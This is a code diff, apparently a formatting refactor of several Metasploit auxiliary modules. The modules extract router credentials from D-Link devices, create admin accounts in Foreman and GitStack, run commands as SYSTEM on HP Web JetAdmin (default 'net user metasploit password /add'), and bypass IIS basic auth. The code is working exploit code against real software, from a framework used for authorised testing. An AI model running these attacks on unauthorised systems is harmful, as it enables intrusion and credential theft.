#store all details as loot -> there is some usefull stuff in the response
|
||||
loot = store_loot("dlink.dir645.config","text/plain",rhost, res.body)
|
||||
# store all details as loot -> there is some usefull stuff in the response
|
||||
loot = store_loot('dlink.dir645.config', 'text/plain', rhost, res.body)
|
||||
print_good("#{rhost}:#{rport} - Account details downloaded to: #{loot}")
|
||||
|
||||
res.body.each_line do |line|
|
||||
if line =~ /<name>(.*)<\/name>/
|
||||
@user = $1
|
||||
if line =~ %r{<name>(.*)</name>}
|
||||
@user = ::Regexp.last_match(1)
|
||||
next
|
||||
end
|
||||
if line =~ /<password>(.*)<\/password>/
|
||||
pass = $1
|
||||
vprint_good("user: #{@user}")
|
||||
vprint_good("pass: #{pass}")
|
||||
next unless line =~ %r{<password>(.*)</password>}
|
||||
|
||||
pass = ::Regexp.last_match(1)
|
||||
vprint_good("user: #{@user}")
|
||||
vprint_good("pass: #{pass}")
|
||||
|
||||
connection_details = {
|
||||
module_fullname: self.fullname,
|
||||
username: @user,
|
||||
private_data: pass,
|
||||
private_type: :password,
|
||||
workspace_id: myworkspace_id,
|
||||
proof: line,
|
||||
last_attempted_at: DateTime.now, # kept in refactor may not be valid, obtained but do not attempted here
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}.merge(service_details)
|
||||
create_credential_and_login(connection_details)
|
||||
connection_details = {
|
||||
module_fullname: fullname,
|
||||
username: @user,
|
||||
private_data: pass,
|
||||
private_type: :password,
|
||||
workspace_id: myworkspace_id,
|
||||
proof: line,
|
||||
last_attempted_at: DateTime.now, # kept in refactor may not be valid, obtained but do not attempted here
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}.merge(service_details)
|
||||
create_credential_and_login(connection_details)
|
||||
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: 'http',
|
||||
user: @user,
|
||||
password: pass,
|
||||
proof: line
|
||||
)
|
||||
end
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: 'http',
|
||||
user: @user,
|
||||
password: pass,
|
||||
proof: line
|
||||
)
|
||||
end
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -9,29 +9,28 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'D-Link DSL 320B Password Extractor',
|
||||
'Name' => 'D-Link DSL 320B Password Extractor',
|
||||
'Description' => %q{
|
||||
This module exploits an authentication bypass vulnerability in D-Link DSL 320B
|
||||
<=v1.23. This vulnerability allows to extract the credentials for the remote
|
||||
management interface.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'EDB', '25252' ],
|
||||
[ 'OSVDB', '93013' ],
|
||||
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-018' ]
|
||||
],
|
||||
'Author' => [
|
||||
'References' => [
|
||||
[ 'EDB', '25252' ],
|
||||
[ 'OSVDB', '93013' ],
|
||||
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-018' ]
|
||||
],
|
||||
'Author' => [
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>'
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
vprint_status("#{rhost}:#{rport} - Trying to access the configuration of the device")
|
||||
|
||||
#download configuration
|
||||
# download configuration
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => '/config.bin',
|
||||
|
@ -39,52 +38,49 @@ class MetasploitModule < Msf::Auxiliary
|
|||
})
|
||||
|
||||
return if res.nil?
|
||||
return if (res.headers['Server'].nil? or res.headers['Server'] !~ /micro_httpd/)
|
||||
return if (res.headers['Server'].nil? || res.headers['Server'] !~ (/micro_httpd/))
|
||||
return if (res.code == 404)
|
||||
|
||||
if res.body =~ /sysPassword value/ or res.body =~ /sysUserName value/
|
||||
if res.body =~ (/sysPassword value/) || res.body =~ (/sysUserName value/)
|
||||
if res.body !~ /sysPassword value/
|
||||
print_status("#{rhost}:#{rport} - Default Configuration of DSL 320B detected - no password section available, try admin/admin")
|
||||
else
|
||||
print_good("#{rhost}:#{rport} - Credentials successfully extracted")
|
||||
end
|
||||
|
||||
#store all details as loot -> there is some usefull stuff in the response
|
||||
loot = store_loot("dlink.dsl320b.config","text/plain", rhost, res.body)
|
||||
# store all details as loot -> there is some usefull stuff in the response
|
||||
loot = store_loot('dlink.dsl320b.config', 'text/plain', rhost, res.body)
|
||||
print_good("#{rhost}:#{rport} - Configuration of DSL 320B downloaded to: #{loot}")
|
||||
|
||||
user = ""
|
||||
pass = ""
|
||||
user = ''
|
||||
pass = ''
|
||||
|
||||
res.body.each_line do |line|
|
||||
if line =~ /\<sysUserName\ value\=\"(.*)\"\/\>/
|
||||
user = $1
|
||||
if line =~ %r{<sysUserName\ value="(.*)"/>}
|
||||
user = ::Regexp.last_match(1)
|
||||
next
|
||||
end
|
||||
if line =~ /\<sysPassword\ value\=\"(.*)\"\/\>/
|
||||
pass = $1
|
||||
pass = Rex::Text.decode_base64(pass)
|
||||
print_good("#{rhost}:#{rport} - Credentials found: #{user} / #{pass}")
|
||||
next unless line =~ %r{<sysPassword\ value="(.*)"/>}
|
||||
|
||||
connection_details = {
|
||||
module_fullname: self.fullname,
|
||||
username: user,
|
||||
private_data: pass,
|
||||
private_type: :password,
|
||||
workspace_id: myworkspace_id,
|
||||
proof: line,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}.merge(service_details)
|
||||
create_credential_and_login(connection_details)
|
||||
pass = ::Regexp.last_match(1)
|
||||
pass = Rex::Text.decode_base64(pass)
|
||||
print_good("#{rhost}:#{rport} - Credentials found: #{user} / #{pass}")
|
||||
|
||||
end
|
||||
connection_details = {
|
||||
module_fullname: fullname,
|
||||
username: user,
|
||||
private_data: pass,
|
||||
private_type: :password,
|
||||
workspace_id: myworkspace_id,
|
||||
proof: line,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}.merge(service_details)
|
||||
create_credential_and_login(connection_details)
|
||||
end
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -8,25 +8,24 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Foreman (Red Hat OpenStack/Satellite) users/create Mass Assignment',
|
||||
'Description' => %q{
|
||||
'Name' => 'Foreman (Red Hat OpenStack/Satellite) users/create Mass Assignment',
|
||||
'Description' => %q{
|
||||
This module exploits a mass assignment vulnerability in the 'create'
|
||||
action of 'users' controller of Foreman and Red Hat OpenStack/Satellite
|
||||
(Foreman 1.2.0-RC1 and earlier) by creating an arbitrary administrator
|
||||
account. For this exploit to work, your account must have 'create_users'
|
||||
permission (e.g., Manager role).
|
||||
},
|
||||
'Author' => 'Ramon de C Valle',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['BID', '60835'],
|
||||
['CVE', '2013-2113'],
|
||||
['CWE', '915'],
|
||||
['OSVDB', '94655'],
|
||||
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=966804'],
|
||||
['URL', 'https://projects.theforeman.org/issues/2630']
|
||||
],
|
||||
'Author' => 'Ramon de C Valle',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['BID', '60835'],
|
||||
['CVE', '2013-2113'],
|
||||
['CWE', '915'],
|
||||
['OSVDB', '94655'],
|
||||
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=966804'],
|
||||
['URL', 'https://projects.theforeman.org/issues/2630']
|
||||
],
|
||||
'DisclosureDate' => 'Jun 6 2013'
|
||||
)
|
||||
|
||||
|
@ -47,10 +46,10 @@ class MetasploitModule < Msf::Auxiliary
|
|||
def run
|
||||
print_status("Logging into #{target_url}...")
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'users', 'login'),
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'users', 'login'),
|
||||
'vars_post' => {
|
||||
'login[login]' => datastore['USERNAME'],
|
||||
'login[login]' => datastore['USERNAME'],
|
||||
'login[password]' => datastore['PASSWORD']
|
||||
}
|
||||
)
|
||||
|
@ -60,11 +59,11 @@ class MetasploitModule < Msf::Auxiliary
|
|||
return
|
||||
end
|
||||
|
||||
if res.headers['Location'] =~ /users\/login$/
|
||||
if res.headers['Location'] =~ %r{users/login$}
|
||||
print_error('Authentication failed')
|
||||
return
|
||||
else
|
||||
session = $1 if res.get_cookies =~ /_session_id=([0-9a-f]*)/
|
||||
session = ::Regexp.last_match(1) if res.get_cookies =~ /_session_id=([0-9a-f]*)/
|
||||
|
||||
if session.nil?
|
||||
print_error('Failed to retrieve the current session id')
|
||||
|
@ -76,7 +75,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
res = send_request_cgi(
|
||||
'cookie' => "_session_id=#{session}",
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri)
|
||||
'uri' => normalize_uri(target_uri)
|
||||
)
|
||||
|
||||
if res.nil?
|
||||
|
@ -84,16 +83,16 @@ class MetasploitModule < Msf::Auxiliary
|
|||
return
|
||||
end
|
||||
|
||||
if res.headers['Location'] =~ /users\/login$/
|
||||
if res.headers['Location'] =~ %r{users/login$}
|
||||
print_error('Failed to retrieve the CSRF token')
|
||||
return
|
||||
else
|
||||
csrf_param = $1 if res.body =~ /<meta[ ]+content="(.*)"[ ]+name="csrf-param"[ ]*\/?>/i
|
||||
csrf_token = $1 if res.body =~ /<meta[ ]+content="(.*)"[ ]+name="csrf-token"[ ]*\/?>/i
|
||||
csrf_param = ::Regexp.last_match(1) if res.body =~ %r{<meta +content="(.*)" +name="csrf-param" */?>}i
|
||||
csrf_token = ::Regexp.last_match(1) if res.body =~ %r{<meta +content="(.*)" +name="csrf-token" */?>}i
|
||||
|
||||
if csrf_param.nil? || csrf_token.nil?
|
||||
csrf_param = $1 if res.body =~ /<meta[ ]+name="csrf-param"[ ]+content="(.*)"[ ]*\/?>/i
|
||||
csrf_token = $1 if res.body =~ /<meta[ ]+name="csrf-token"[ ]+content="(.*)"[ ]*\/?>/i
|
||||
csrf_param = ::Regexp.last_match(1) if res.body =~ %r{<meta +name="csrf-param" +content="(.*)" */?>}i
|
||||
csrf_token = ::Regexp.last_match(1) if res.body =~ %r{<meta +name="csrf-token" +content="(.*)" */?>}i
|
||||
end
|
||||
|
||||
if csrf_param.nil? || csrf_token.nil?
|
||||
|
@ -104,16 +103,16 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
print_status("Sending create-user request to #{target_url('users')}...")
|
||||
res = send_request_cgi(
|
||||
'cookie' => "_session_id=#{session}",
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'users'),
|
||||
'cookie' => "_session_id=#{session}",
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'users'),
|
||||
'vars_post' => {
|
||||
csrf_param => csrf_token,
|
||||
'user[admin]' => 'true',
|
||||
'user[auth_source_id]' => '1',
|
||||
'user[login]' => datastore['NEWUSERNAME'],
|
||||
'user[mail]' => datastore['NEWEMAIL'],
|
||||
'user[password]' => datastore['NEWPASSWORD'],
|
||||
csrf_param => csrf_token,
|
||||
'user[admin]' => 'true',
|
||||
'user[auth_source_id]' => '1',
|
||||
'user[login]' => datastore['NEWUSERNAME'],
|
||||
'user[mail]' => datastore['NEWEMAIL'],
|
||||
'user[password]' => datastore['NEWPASSWORD'],
|
||||
'user[password_confirmation]' => datastore['NEWPASSWORD']
|
||||
}
|
||||
)
|
||||
|
|
|
@ -8,45 +8,44 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'GitStack Unauthenticated REST API Requests',
|
||||
'Description' => %q{
|
||||
This modules exploits unauthenticated REST API requests in GitStack through v2.3.10.
|
||||
The module supports requests for listing users of the application and listing
|
||||
available repositories. Additionally, the module can create a user and add the user
|
||||
to the application's repositories. This module has been tested against GitStack v2.3.10.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Kacper Szurek', # Vulnerability discovery and PoC
|
||||
'Jacob Robles' # Metasploit module
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'GitStack Unauthenticated REST API Requests',
|
||||
'Description' => %q{
|
||||
This modules exploits unauthenticated REST API requests in GitStack through v2.3.10.
|
||||
The module supports requests for listing users of the application and listing
|
||||
available repositories. Additionally, the module can create a user and add the user
|
||||
to the application's repositories. This module has been tested against GitStack v2.3.10.
|
||||
},
|
||||
'Author' => [
|
||||
'Kacper Szurek', # Vulnerability discovery and PoC
|
||||
'Jacob Robles' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['CVE', '2018-5955'],
|
||||
['EDB', '43777'],
|
||||
['EDB', '44044']
|
||||
],
|
||||
'DisclosureDate' => '2018-01-15',
|
||||
'Actions' =>
|
||||
[
|
||||
'DisclosureDate' => '2018-01-15',
|
||||
'Actions' => [
|
||||
[
|
||||
'LIST',
|
||||
{
|
||||
'Description' => 'List application users',
|
||||
'List' => 'GET',
|
||||
'UserPath' => '/rest/user/'
|
||||
'List' => 'GET',
|
||||
'UserPath' => '/rest/user/'
|
||||
}
|
||||
],
|
||||
[
|
||||
'CREATE',
|
||||
{
|
||||
'Description' => 'Create a user on the application',
|
||||
'Create' => 'POST',
|
||||
'List' => 'GET',
|
||||
'UserPath' => '/rest/user/',
|
||||
'RepoPath' => '/rest/repository/'
|
||||
'Create' => 'POST',
|
||||
'List' => 'GET',
|
||||
'UserPath' => '/rest/user/',
|
||||
'RepoPath' => '/rest/repository/'
|
||||
}
|
||||
],
|
||||
# If this is uncommented, you will be able to change an
|
||||
|
@ -55,50 +54,53 @@ class MetasploitModule < Msf::Auxiliary
|
|||
# added to all available repositories.
|
||||
# The cleanup action removes the user from all repositories
|
||||
# and then deletes the user... so this action may not be desirable.
|
||||
#[
|
||||
#'MODIFY',
|
||||
#{
|
||||
#'Description' => "Change the application user's password",
|
||||
#'Create' => 'PUT',
|
||||
#'List' => 'GET',
|
||||
#'UserPath' => '/rest/user/',
|
||||
#'RepoPath' => '/rest/repository/'
|
||||
#}
|
||||
#],
|
||||
# [
|
||||
# 'MODIFY',
|
||||
# {
|
||||
# 'Description' => "Change the application user's password",
|
||||
# 'Create' => 'PUT',
|
||||
# 'List' => 'GET',
|
||||
# 'UserPath' => '/rest/user/',
|
||||
# 'RepoPath' => '/rest/repository/'
|
||||
# }
|
||||
# ],
|
||||
[
|
||||
'LIST_REPOS',
|
||||
{
|
||||
'Description' => 'List available repositories',
|
||||
'List' => 'GET',
|
||||
'RepoPath' => '/rest/repository/'
|
||||
'List' => 'GET',
|
||||
'RepoPath' => '/rest/repository/'
|
||||
}
|
||||
],
|
||||
[
|
||||
'CLEANUP',
|
||||
{
|
||||
'Description' => 'Remove user from repositories and delete user',
|
||||
'List' => 'GET',
|
||||
'Remove' => 'DELETE',
|
||||
'RepoPath' => '/rest/repository/',
|
||||
'UserPath' => '/rest/user/'
|
||||
'List' => 'GET',
|
||||
'Remove' => 'DELETE',
|
||||
'RepoPath' => '/rest/repository/',
|
||||
'UserPath' => '/rest/user/'
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultAction' => 'LIST'))
|
||||
'DefaultAction' => 'LIST'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [false, 'User to create or modify', 'msf']),
|
||||
OptString.new('PASSWORD', [false, 'Password for user', 'password'])
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def get_users
|
||||
path = action.opts['UserPath']
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => path,
|
||||
'method' => action.opts['List']
|
||||
'uri' => path,
|
||||
'method' => action.opts['List']
|
||||
})
|
||||
rescue Rex::ConnectionError, Errno::ECONNRESET => e
|
||||
print_error("Failed: #{e.class} - #{e.message}")
|
||||
|
@ -113,7 +115,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
return
|
||||
end
|
||||
mylist.each do |item|
|
||||
print_good("#{item}")
|
||||
print_good(item.to_s)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -122,8 +124,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
path = action.opts['RepoPath']
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => path,
|
||||
'method' => action.opts['List']
|
||||
'uri' => path,
|
||||
'method' => action.opts['List']
|
||||
})
|
||||
rescue Rex::ConnectionError, Errno::ECONNRESET => e
|
||||
print_error("Failed: #{e.class} - #{e.message}")
|
||||
|
@ -145,7 +147,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
def clean_app
|
||||
user = datastore['USERNAME']
|
||||
unless user
|
||||
print_error("USERNAME required")
|
||||
print_error('USERNAME required')
|
||||
return
|
||||
end
|
||||
|
||||
|
@ -156,8 +158,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
path = "#{action.opts['RepoPath']}#{item['name']}/user/#{user}/"
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => path,
|
||||
'method' => action.opts['Remove']
|
||||
'uri' => path,
|
||||
'method' => action.opts['Remove']
|
||||
})
|
||||
rescue Rex::ConnectionError, Errno::ECONNRESET => e
|
||||
print_error("Failed: #{e.class} - #{e.message}")
|
||||
|
@ -165,7 +167,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
if res && res.code == 200
|
||||
print_good("#{res.body}")
|
||||
print_good(res.body.to_s)
|
||||
else
|
||||
print_status("User #{user} doesn't have access to #{item['name']}")
|
||||
end
|
||||
|
@ -176,8 +178,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
path = "#{action.opts['UserPath']}#{user}/"
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => path,
|
||||
'method' => action.opts['Remove']
|
||||
'uri' => path,
|
||||
'method' => action.opts['Remove']
|
||||
})
|
||||
rescue Rex::ConnectionError, Errno::ECONNRESET => e
|
||||
print_error("Failed: #{e.class} - #{e.message}")
|
||||
|
@ -186,9 +188,9 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
# Check if the account was successfully deleted
|
||||
if res && res.code == 200
|
||||
print_good("#{res.body}")
|
||||
print_good(res.body.to_s)
|
||||
else
|
||||
print_error("#{res.body}")
|
||||
print_error(res.body.to_s)
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -198,11 +200,11 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => action.opts['UserPath'],
|
||||
'method' => action.opts['Create'],
|
||||
'vars_post' => {
|
||||
'username' => user,
|
||||
'password' => pass
|
||||
'uri' => action.opts['UserPath'],
|
||||
'method' => action.opts['Create'],
|
||||
'vars_post' => {
|
||||
'username' => user,
|
||||
'password' => pass
|
||||
}
|
||||
})
|
||||
rescue Rex::ConnectionError, Errno::ECONNRESET => e
|
||||
|
@ -212,7 +214,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
if res && res.code == 200
|
||||
print_good("SUCCESS: #{user}:#{pass}")
|
||||
else
|
||||
print_error("#{res.body}")
|
||||
print_error(res.body.to_s)
|
||||
return
|
||||
end
|
||||
|
||||
|
@ -222,45 +224,45 @@ class MetasploitModule < Msf::Auxiliary
|
|||
path = "#{action.opts['RepoPath']}#{item['name']}/user/#{user}/"
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => path,
|
||||
'method' => action.opts['Create']
|
||||
'uri' => path,
|
||||
'method' => action.opts['Create']
|
||||
})
|
||||
rescue Rex::ConnectionError, Errno::ECONNRESET => e
|
||||
print_error("Failed: #{e.class} - #{e.message}")
|
||||
next
|
||||
end
|
||||
if res && res.code == 200
|
||||
print_good("#{res.body}")
|
||||
print_good(res.body.to_s)
|
||||
else
|
||||
print_error("Failed to add user")
|
||||
print_error("#{res.body}")
|
||||
print_error('Failed to add user')
|
||||
print_error(res.body.to_s)
|
||||
end
|
||||
end
|
||||
else
|
||||
print_error("Failed to retrieve repository list")
|
||||
print_error('Failed to retrieve repository list')
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
if ["LIST"].include?(action.name)
|
||||
if ['LIST'].include?(action.name)
|
||||
print_status('Retrieving Users')
|
||||
get_users
|
||||
elsif ["LIST_REPOS"].include?(action.name)
|
||||
elsif ['LIST_REPOS'].include?(action.name)
|
||||
print_status('Retrieving Repositories')
|
||||
mylist = get_repos
|
||||
if mylist
|
||||
mylist.each do |item|
|
||||
print_good("#{item['name']}")
|
||||
print_good((item['name']).to_s)
|
||||
end
|
||||
else
|
||||
print_error("Failed to retrieve repository list")
|
||||
print_error('Failed to retrieve repository list')
|
||||
end
|
||||
elsif ["CLEANUP"].include?(action.name)
|
||||
elsif ['CLEANUP'].include?(action.name)
|
||||
clean_app
|
||||
elsif datastore['USERNAME'] && datastore['PASSWORD']
|
||||
add_user
|
||||
else
|
||||
print_error("USERNAME and PASSWORD required")
|
||||
print_error('USERNAME and PASSWORD required')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -7,41 +7,45 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'HP Web JetAdmin 6.5 Server Arbitrary Command Execution',
|
||||
'Description' => %q{
|
||||
This module abuses a command execution vulnerability within the
|
||||
web based management console of the Hewlett-Packard Web JetAdmin
|
||||
network printer tool v6.2 - v6.5. It is possible to execute commands
|
||||
as SYSTEM without authentication. The vulnerability also affects POSIX
|
||||
systems, however at this stage the module only works against Windows.
|
||||
This module does not apply to HP printers.
|
||||
},
|
||||
'Author' => [ 'aushack' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'HP Web JetAdmin 6.5 Server Arbitrary Command Execution',
|
||||
'Description' => %q{
|
||||
This module abuses a command execution vulnerability within the
|
||||
web based management console of the Hewlett-Packard Web JetAdmin
|
||||
network printer tool v6.2 - v6.5. It is possible to execute commands
|
||||
as SYSTEM without authentication. The vulnerability also affects POSIX
|
||||
systems, however at this stage the module only works against Windows.
|
||||
This module does not apply to HP printers.
|
||||
},
|
||||
'Author' => [ 'aushack' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'OSVDB', '5798' ],
|
||||
[ 'BID', '10224' ],
|
||||
#[ 'CVE', '' ],# No CVE!
|
||||
# [ 'CVE', '' ],# No CVE!
|
||||
[ 'EDB', '294' ]
|
||||
],
|
||||
'DisclosureDate' => '2004-04-27'))
|
||||
'DisclosureDate' => '2004-04-27'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8000),
|
||||
OptString.new('CMD', [ false, "The command to execute.", "net user metasploit password /add" ]),
|
||||
])
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8000),
|
||||
OptString.new('CMD', [ false, 'The command to execute.', 'net user metasploit password /add' ]),
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
cmd = datastore['CMD'].gsub(' ', ',')
|
||||
|
||||
send_request_cgi({
|
||||
'uri' => '/plugins/framework/script/content.hts',
|
||||
'method' => 'POST',
|
||||
'data' => 'obj=Httpd:ExecuteFile(,cmd.exe,/c,' + cmd + ',)'
|
||||
}, 3)
|
||||
'uri' => '/plugins/framework/script/content.hts',
|
||||
'method' => 'POST',
|
||||
'data' => 'obj=Httpd:ExecuteFile(,cmd.exe,/c,' + cmd + ',)'
|
||||
}, 3)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -7,36 +7,37 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'MS10-065 Microsoft IIS 5 NTFS Stream Authentication Bypass',
|
||||
'Description' => %q{
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'MS10-065 Microsoft IIS 5 NTFS Stream Authentication Bypass',
|
||||
'Description' => %q{
|
||||
This module bypasses basic authentication for Internet Information Services (IIS).
|
||||
By appending the NTFS stream name to the directory name in a request, it is
|
||||
possible to bypass authentication.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
By appending the NTFS stream name to the directory name in a request, it is
|
||||
possible to bypass authentication.
|
||||
},
|
||||
'References' => [
|
||||
[ 'CVE', '2010-2731' ],
|
||||
[ 'OSVDB', '66160' ],
|
||||
[ 'MSB', 'MS10-065' ],
|
||||
[ 'URL', 'https://soroush.secproject.com/blog/2010/07/iis5-1-directory-authentication-bypass-by-using-i30index_allocation/' ]
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Author' => [
|
||||
'Soroush Dalili',
|
||||
'sinn3r'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => '2010-07-02'
|
||||
))
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => '2010-07-02'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new("TARGETURI", [true, 'The URI directory where basic auth is enabled', '/'])
|
||||
])
|
||||
OptString.new('TARGETURI', [true, 'The URI directory where basic auth is enabled', '/'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
|
||||
def has_auth
|
||||
uri = normalize_uri(target_uri.path)
|
||||
uri << '/' if uri[-1, 1] != '/'
|
||||
|
@ -53,35 +54,34 @@ class MetasploitModule < Msf::Auxiliary
|
|||
def try_auth
|
||||
uri = normalize_uri(target_uri.path)
|
||||
uri << '/' if uri[-1, 1] != '/'
|
||||
uri << Rex::Text.rand_text_alpha(rand(10)+5) + ".#{Rex::Text.rand_text_alpha(3)}"
|
||||
uri << Rex::Text.rand_text_alpha(rand(5..14)) + ".#{Rex::Text.rand_text_alpha(3)}"
|
||||
|
||||
dir = File.dirname(uri) + ':$i30:$INDEX_ALLOCATION' + '/'
|
||||
|
||||
user = Rex::Text.rand_text_alpha(rand(10) + 5)
|
||||
pass = Rex::Text.rand_text_alpha(rand(10) + 5)
|
||||
|
||||
user = Rex::Text.rand_text_alpha(rand(5..14))
|
||||
pass = Rex::Text.rand_text_alpha(rand(5..14))
|
||||
|
||||
vprint_status("Requesting: #{dir}")
|
||||
res = send_request_cgi({
|
||||
'uri' => dir,
|
||||
'method' => 'GET',
|
||||
'authorization' => basic_auth(user,pass)
|
||||
'authorization' => basic_auth(user, pass)
|
||||
})
|
||||
vprint_status(res.body) if res
|
||||
|
||||
return (res and res.code != 401 and res.code != 404) ? dir : ''
|
||||
return (res && (res.code != 401) && (res.code != 404)) ? dir : ''
|
||||
end
|
||||
|
||||
def run
|
||||
if not has_auth
|
||||
print_error("No basic authentication enabled")
|
||||
if !has_auth
|
||||
print_error('No basic authentication enabled')
|
||||
return
|
||||
end
|
||||
|
||||
bypass_string = try_auth
|
||||
|
||||
if bypass_string.empty?
|
||||
print_error("The bypass attempt did not work")
|
||||
print_error('The bypass attempt did not work')
|
||||
else
|
||||
print_good("You can bypass auth by doing: #{bypass_string}")
|
||||
end
|
||||
|
|
|
@ -7,9 +7,11 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Intersil (Boa) HTTPd Basic Authentication Password Reset',
|
||||
'Description' => %q{
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Intersil (Boa) HTTPd Basic Authentication Password Reset',
|
||||
'Description' => %q{
|
||||
The Intersil extension in the Boa HTTP Server 0.93.x - 0.94.11
|
||||
allows basic authentication bypass when the user string is greater
|
||||
than 127 bytes long. The long string causes the password to be
|
||||
|
@ -20,80 +22,79 @@ class MetasploitModule < Msf::Auxiliary
|
|||
Please note that you must set the request URI to the directory that
|
||||
requires basic authentication in order to work properly.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Luca "ikki" Carettoni <luca.carettoni[at]securenetwork.it>', #original discoverer
|
||||
'Claudio "paper" Merloni <claudio.merloni[at]securenetwork.it>', #original discoverer
|
||||
'Max Dietz <maxwell.r.dietz[at]gmail.com>' #metasploit module
|
||||
'Author' => [
|
||||
'Luca "ikki" Carettoni <luca.carettoni[at]securenetwork.it>', # original discoverer
|
||||
'Claudio "paper" Merloni <claudio.merloni[at]securenetwork.it>', # original discoverer
|
||||
'Max Dietz <maxwell.r.dietz[at]gmail.com>' # metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'CVE', '2007-4915' ],
|
||||
[ 'BID', '25676'],
|
||||
[ 'PACKETSTORM', '59347']
|
||||
],
|
||||
'DisclosureDate' => '2007-09-10'))
|
||||
'DisclosureDate' => '2007-09-10'
|
||||
)
|
||||
)
|
||||
|
||||
